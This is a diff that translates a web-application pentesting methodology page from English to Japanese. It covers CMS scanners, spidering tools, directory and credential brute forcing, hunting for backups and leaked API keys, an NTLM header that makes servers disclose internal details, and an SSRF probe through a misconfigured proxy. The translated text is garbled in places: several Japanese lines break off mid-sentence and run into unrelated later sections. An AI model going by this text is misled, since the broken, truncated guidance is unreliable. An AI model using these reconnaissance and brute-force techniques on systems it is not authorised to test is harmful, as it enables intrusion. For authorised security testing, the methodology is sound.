[**Wordpress**](wordpress.md) +CMSが使用されている場合は、**スキャナーを実行**することを忘れないでください。何か興味深い情報が見つかるかもしれません。 +[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**、ColdFusion、WebLogic**、[**Tomcat**](tomcat.md)**、Railo、Axis2、Glassfish**\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md)、[**Drupal**](drupal.md)、**Joomla**、**vBulletin**のセキュリティ問題をチェックするためのウェブサイト(GUI)\ +[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**、** [**Wordpress**](wordpress.md)**、** [**Drupal**](drupal.md)**、PrestaShop、Opencart**\ +**CMSMap**: [**(W)ordpress**](wordpress.md)**、** [**(J)oomla**](joomla.md)**、** [**(D)rupal**](drupal.md)**または** [**(M)oodle**](moodle.md)\ +[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**、** [**Joomla**](joomla.md)**、** [**Moodle**](moodle.md)**、Silverstripe**、[**Wordpress**](wordpress.md) ```bash cmsmap [-f W] -F -d wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` +> この時点で、クライアントが使用しているウェブサーバーに関する情報(データが提供されている場合)と、テスト中に考慮すべきいくつかのトリックを既に持っているはずです。運が良ければ、CMSを見つけてスキャナーを実行することさえできるかもしれません。 -> At this point you should already have some information of the web server being used by the client (if any data is given) and some tricks to keep in mind during the test. If you are lucky you have even found a CMS and run some scanner. +## ステップバイステップのウェブアプリケーションの発見 -## Step-by-step Web Application Discovery +> このポイントから、ウェブアプリケーションとのやり取りを開始します。 -> From this point we are going to start interacting with the web application. +### 初期チェック -### Initial checks - -**Default pages with interesting info:** +**興味深い情報を持つデフォルトページ:** * /robots.txt * /sitemap.xml * /crossdomain.xml * /clientaccesspolicy.xml * /.well-known/ -* Check also comments in the main and secondary pages. +* メインとセカンダリのページのコメントもチェックしてください。 -**Forcing errors** +**エラーの強制** -Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**. +ウェブサーバーは、奇妙なデータが送信されると予期しない動作をする場合があります。これにより、脆弱性が公開されたり、機密情報が漏洩したりする可能性があります。 -* Access **fake pages** like /whatever\_fake.php (.aspx,.html,.etc) -* **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values to create errors -* Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL** -* Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE +* /whatever\_fake.php (.aspx,.html,.etc) のような**偽のページ**にアクセスする +* エラーを作成するために、**クッキーの値**や**パラメータの値**に"\[]", "]]", "\[\["を追加する +* URLの**末尾**に**`/~randomthing/%s`**と入力してエラーを生成する +* PATCH、DEBUGなどの**異なるHTTP動詞**を試す、またはFAKEのような間違った動詞を試す -#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **ファイルのアップロードが可能かどうかを確認する(**[**PUT動詞、WebDav**](put-method-webdav.md)**)** -If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to: +WebDavが**有効**になっていることがわかったが、ルートフォルダにファイルをアップロードするための十分な権限がない場合は、次の方法を試してみてください: -* **Brute Force** credentials -* **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders. +* 資格情報を**ブルートフォース**する +* WebDavを使用してウェブページ内の**他のフォルダ**にファイルをアップロードする。他のフォルダにファイルをアップロードする権限があるかもしれません。 -### **SSL/TLS vulnerabilites** +### **SSL/TLSの脆弱性** -* If the application **isn't forcing the user of HTTPS** in any part, then it's **vulnerable to MitM** -* If the application is **sending sensitive data (passwords) using HTTP**. Then it's a high vulnerability. - -Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: +* アプリケーションがいかなる部分でも**HTTPSの使用を強制していない**場合、MitMの脆弱性があります +* アプリケーションがHTTPを使用して**機密データ(パスワード)を送信**している場合、高い脆弱性です。 +[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックします(Bug Bountyプログラムでは、おそらくこの種の脆弱性は受け入れられません)。また、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認します。 ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -214,66 +205,57 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vul sslscan sslyze --regular ``` - -Information about SSL/TLS vulnerabilities: +SSL/TLSの脆弱性に関する情報: * [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) * [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) -### Spidering +### スパイダリング -Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible. +ウェブ内である種の**スパイダー**を起動します。スパイダーの目標は、テスト対象のアプリケーションからできるだけ多くのパスを見つけることです。そのために、ウェブクローリングと外部ソースを使用して、できるだけ多くの有効なパスを見つける必要があります。 -* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source. -* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files". -* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org -* [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response. -* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile -* [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl) -* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them. -* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities. -* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder. -* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas. -* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained. -* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files. -* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools. -* [**subjs**](https://github.com/lc/subjs) (go): Find JS files. -* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page. -* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools -* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files. -* [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code -* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target. -* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links -* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes. -* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals. +* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイルと外部ソース(Archive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com)でのLinkFinder。 +* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイルと外部ソース(Archive.org)でのLinkFinder。 +* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、また「ジューシーファイル」も示します。 +* [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブなCLI HTMLスパイダー。また、Archive.orgでも検索します。 +* [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、便利です。ホストのファイルとパスのファイルを指定するだけで、megは各ホストの各パスを取得し、レスポンスを保存します。 +* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSのレンダリング機能を備えたHTMLスパイダー。ただし、メンテナンスされていないようで、プリコンパイルされたバージョンは古く、現在のコードはコンパイルできません。 +* [**gau**](https://github.com/lc/gau) (go): 外部プロバイダ(wayback、otx、commoncrawl)を使用するHTMLスパイダー。 +* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトは、パラメータを持つURLを見つけ、リストアップします。 +* [**galer**](https://github.com/dwisiswant0/galer) (go): JSのレンダリング機能を備えたHTMLスパイダー。 +* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JSファイル内の新しいパスを検索できるJSの美化機能を備えたHTMLスパイダー。LinkFinderのラッパーである[JSScanner](https://github.com/dark-warlord14/JSScanner)も参考にする価値があります。 +* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルからエンドポイントを抽出するためのツール。バグハンターやレッドチーム、情報セキュリティのニンジャに役立ちます。 +* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するためのPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに便利です。メンテナンスされていないようです。 +* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイル(HTML)を指定すると、醜い(minify)ファイルから相対URLを見つけて抽出するための巧妙な正規表現を使用します。 +* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。 +* [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。 +* [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、読み込まれたすべてのURLを表示します。 +* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 前述のツールのいくつかのオプションを組み合わせたコンテンツディスカバリーツール +* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイルからパスとパラメータを見つけるためのBurp拡張機能。 +* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.mapのURLを指定すると、美化されたJSコードを取得します。 +* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 指定されたターゲットのエンドポイントを発見するためのツールです。 +* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback Machineからリンクを発見します(Wayback Machineからのレスポンスをダウンロードし、さらなるリンクを探します)。 +* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 特定の正規表現を使用してクロール(フォームの入力も含む)し、機密情報も見つけます。 +* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティの専門家向けに設計された高度なマルチ機能GUIウェブセキュリティクローラー/スパイダーです。 -### Brute Force directories and files +### ディレクトリとファイルのブルートフォース -Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\ -Tools: +ルートフォルダから**ブルートフォース**を開始し、**見つかったすべてのディレクトリ**をブルートフォースしてください。これをスパイダリングで**再帰的に**行い、見つかったディレクトリの名前を使用したワードリストの先頭に追加します。\ +ツール: -* **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options. -* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search. -* [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search. -* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** +* **Dirb** / **Dirbuster** - Kaliに含まれていますが、**古く**(そして**遅い**)ですが、機能します。自己署名証明書と再帰的な検索を許可します。他のオプションと比べて遅すぎます。 +* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可しませんが**再帰的な検索を許可します。 +* [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、**再帰的な**検索はありません。 +* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 速く、再帰的な検索をサポートします。** * [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` -* [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -* [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs. -* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages -* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports) -* [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use. - -**Recommended dictionaries:** - -* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt) -* [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) +* [**ffuf** ](https://github.com/ffuf/ffuf)- 速い: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` +* [**uro**](https://github.com/s0md3v/uro) (python): これ * [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) * [Assetnote wordlists](https://wordlists.assetnote.io) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) - * raft-large-directories-lowercase.txt - * directory-list-2.3-medium.txt - * RobotsDisallowed/top10000.txt +* raft-large-directories-lowercase.txt +* directory-list-2.3-medium.txt +* RobotsDisallowed/top10000.txt * [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists) * [https://github.com/google/fuzzing/tree/master/dictionaries](https://github.com/google/fuzzing/tree/master/dictionaries) * [https://github.com/six2dez/OneListForAll](https://github.com/six2dez/OneListForAll) @@ -282,150 +264,142 @@ Tools: * _/usr/share/wordlists/dirb/big.txt_ * _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ +_新しいディレクトリがブルートフォースやスパイダリング中に発見された場合、ブルートフォースを行う必要があります。_ -### What to check on each file found +### 各ファイルでチェックする項目 -* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers -* **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac). -* **Discover new parameters**: You can use tools like [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file. - * _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - * _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - * _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - * _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -* **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**. - * If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page. -* **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) - * Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access. -* **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/). +* [**リンク切れチェッカー**](https://github.com/stevenvachon/broken-link-checker): ページの中にあるリンク切れを見つけ、乗っ取りの可能性があるものを見つけます。 +* **ファイルのバックアップ**: すべてのファイルを見つけた後、すべての実行可能ファイル(「_.php_」、「_.aspx_」など)のバックアップを探します。バックアップの一般的なバリエーションは次のとおりです: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp, file.old._ ツール[**bfac**](https://github.com/mazen160/bfac)も使用できます。 +* **新しいパラメータの発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**、**[**parameth**](https://github.com/maK-/parameth)**、**[**x8**](https://github.com/sh1yo/x8)**、**[**Param Miner**](https://github.com/PortSwigger/param-miner)などのツールを使用して、隠されたパラメータを発見することができます。可能であれば、各実行可能なWebファイルで隠されたパラメータを検索してみることもできます。 +* _Arjunのすべてのデフォルトのワードリスト:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) +* _Param-minerの「params」:_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) +* _Assetnoteの「parameters\_top\_1m」:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) +* _nullenc0deの「params.txt」:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) +* **コメント**: すべてのファイルのコメントをチェックし、**資格情報**や**隠された機能**を見つけることができます。 +* **CTF**をプレイしている場合、**ページの右側**(ブラウザでソースコードを開いてもデータが見えないように**数百のスペース**を使用)のコメントに**情報を隠す**という「一般的な」トリックもあります。別の可能性として、**複数の改行**を使用し、ウェブページの**一番下**にコメントで**情報を隠す**こともできます。 +* **APIキー**: もし**APIキー**を見つけた場合、異なるプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、**[**zile**](https://github.com/xyele/zile.git)**、**[**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、**[**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、**[**RegHex**](https://github.com/l4yton/RegHex\)/)**、**[**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、**[**EarlyBird**](https://github.com/americanexpress/earlybird) +* GoogleのAPIキー: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。 +* **S3バケット**: スパイダリング中に、いずれかの**サブドメイン**または**リンク**がS3バケットに関連しているかどうかを確認してください。その場合は、[**バケットの権限**をチェック](buckets/)してください。 -### Special findings +### 特別な発見 -**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**. +**スパイダリング**と**ブルートフォース**を行う中で、**興味深い****もの**を見つけることがあります。それらには**注意**が必要です。 -**Interesting files** - -* Look for **links** to other files inside the **CSS** files. -* [If you find a _**.git**_ file some information can be extracted](git.md) -* If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found. -* If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them. -* **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.** - * You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable. - * **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - * **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - * **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)) - * [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - * In several occasions you will need to **understand regular expressions** used, this will be useful: [https://regex101.com/](https://regex101.com) -* You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality. - -**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** +**興味深いファイル** +* **CSS**ファイル内の他のファイルへの**リンク**を探します。 +* _**.git**_ファイルを見つけた場合、いくつかの情報を抽出することができます([詳細はこちら](git.md))。 +* _**.env**_ファイルを見つけた場合、APIキー、DBのパスワードなどの情報が見つかる場合があります。 +* **APIエンドポイント**を見つけた場合、[テストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように」見えるでしょう。 +* **JSファイル**: スパイダリングのセクションでは、JSファイルからパスを抽出することができるいくつかのツールについて説明しました。また、コードに潜在的な脆弱性が導入された可能性を示す変更があるかどうか、**見つかった各JSファイルを監視する**ことも興味深いでしょう。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用**することができます。 +* 発見したJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)や[**JSHole**](https://github.com/callforpapers-source/jshole)で脆弱性があるかどうかをチェックする必要があります。 +* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) +* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) +* **JsFuck deobfuscation**(文字列 {% content-ref url="403-and-401-bypasses.md" %} [403-and-401-bypasses.md](403-and-401-bypasses.md) {% endcontent-ref %} **502 Proxy Error** -If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF. +もしページがこのコードで応答する場合、おそらく設定が間違っているプロキシです。`GET https://google.com HTTP/1.1`のようなHTTPリクエストを送信すると(ホストヘッダーと他の一般的なヘッダーを含む)、プロキシは_google.com_にアクセスしようとします。これにより、SSRFを見つけることができます。 -**NTLM Authentication - Info disclosure** +**NTLM認証 - 情報漏洩** -If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\ -**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\ -You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_". +実行中のサーバーがWindowsで認証を要求している場合、または資格情報を要求するログインが見つかった場合(およびドメイン名を要求する場合)、情報漏洩を引き起こすことができます。\ +`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`というヘッダーを送信すると、NTLM認証の動作方法により、サーバーはヘッダー「WWW-Authenticate」内に内部情報(IISバージョン、Windowsバージョンなど)を含んだ応答を返します。\ +これは、_http-ntlm-info.nse_というnmapプラグインを使用して自動化することができます。 -**HTTP Redirect (CTF)** +**HTTPリダイレクト(CTF)** -It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there. +リダイレクト内にコンテンツを配置することが可能です。このコンテンツはユーザーに表示されません(ブラウザがリダイレクトを実行するため)、しかし何かがそこに隠されている可能性があります。 -### Web Vulnerabilities Checking +### Web脆弱性のチェック -Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here: +ウェブアプリケーションの包括的な列挙が実行されたので、多くの可能な脆弱性をチェックする時が来ました。チェックリストはこちらで見つけることができます: {% content-ref url="../../pentesting-web/web-vulnerabilities-methodology/" %} [web-vulnerabilities-methodology](../../pentesting-web/web-vulnerabilities-methodology/) {% endcontent-ref %} -TODO: Complete the list of vulnerabilities and techniques with [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) and [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html), [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection) +TODO: [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)と[https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)、[https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)を使用して脆弱性とテクニックのリストを完成させる。 -### Monitor Pages for changes +### ページの変更を監視する -You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities. - -### HackTricks Automatic Commands +[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)などのツールを使用して、脆弱性を挿入する可能性のある変更を監視することができます。 +### HackTricks自動コマンド ``` Protocol_Name: Web #Protocol Abbreviation if there is one. Port_Number: 80,443 #Comma separated if there is more than one. Protocol_Description: Web #Protocol Abbreviation Spelled out Entry_1: - Name: Notes - Description: Notes for Web - Note: | - https://book.hacktricks.xyz/pentesting/pentesting-web +Name: Notes +Description: Notes for Web +Note: | +https://book.hacktricks.xyz/pentesting/pentesting-web Entry_2: - Name: Quick Web Scan - Description: Nikto and GoBuster - Command: nikto -host {Web_Proto}://{IP}:{Web_Port} &&&& gobuster dir -w {Small_Dirlist} -u {Web_Proto}://{IP}:{Web_Port} && gobuster dir -w {Big_Dirlist} -u {Web_Proto}://{IP}:{Web_Port} +Name: Quick Web Scan +Description: Nikto and GoBuster +Command: nikto -host {Web_Proto}://{IP}:{Web_Port} &&&& gobuster dir -w {Small_Dirlist} -u {Web_Proto}://{IP}:{Web_Port} && gobuster dir -w {Big_Dirlist} -u {Web_Proto}://{IP}:{Web_Port} Entry_3: - Name: Nikto - Description: Basic Site Info via Nikto - Command: nikto -host {Web_Proto}://{IP}:{Web_Port} +Name: Nikto +Description: Basic Site Info via Nikto +Command: nikto -host {Web_Proto}://{IP}:{Web_Port} Entry_4: - Name: WhatWeb - Description: General purpose auto scanner - Command: whatweb -a 4 {IP} +Name: WhatWeb +Description: General purpose auto scanner +Command: whatweb -a 4 {IP} Entry_5: - Name: Directory Brute Force Non-Recursive - Description: Non-Recursive Directory Brute Force - Command: gobuster dir -w {Big_Dirlist} -u {Web_Proto}://{IP}:{Web_Port} +Name: Directory Brute Force Non-Recursive +Description: Non-Recursive Directory Brute Force +Command: gobuster dir -w {Big_Dirlist} -u {Web_Proto}://{IP}:{Web_Port} Entry_6: - Name: Directory Brute Force Recursive - Description: Recursive Directory Brute Force - Command: python3 {Tool_Dir}dirsearch/dirsearch.py -w 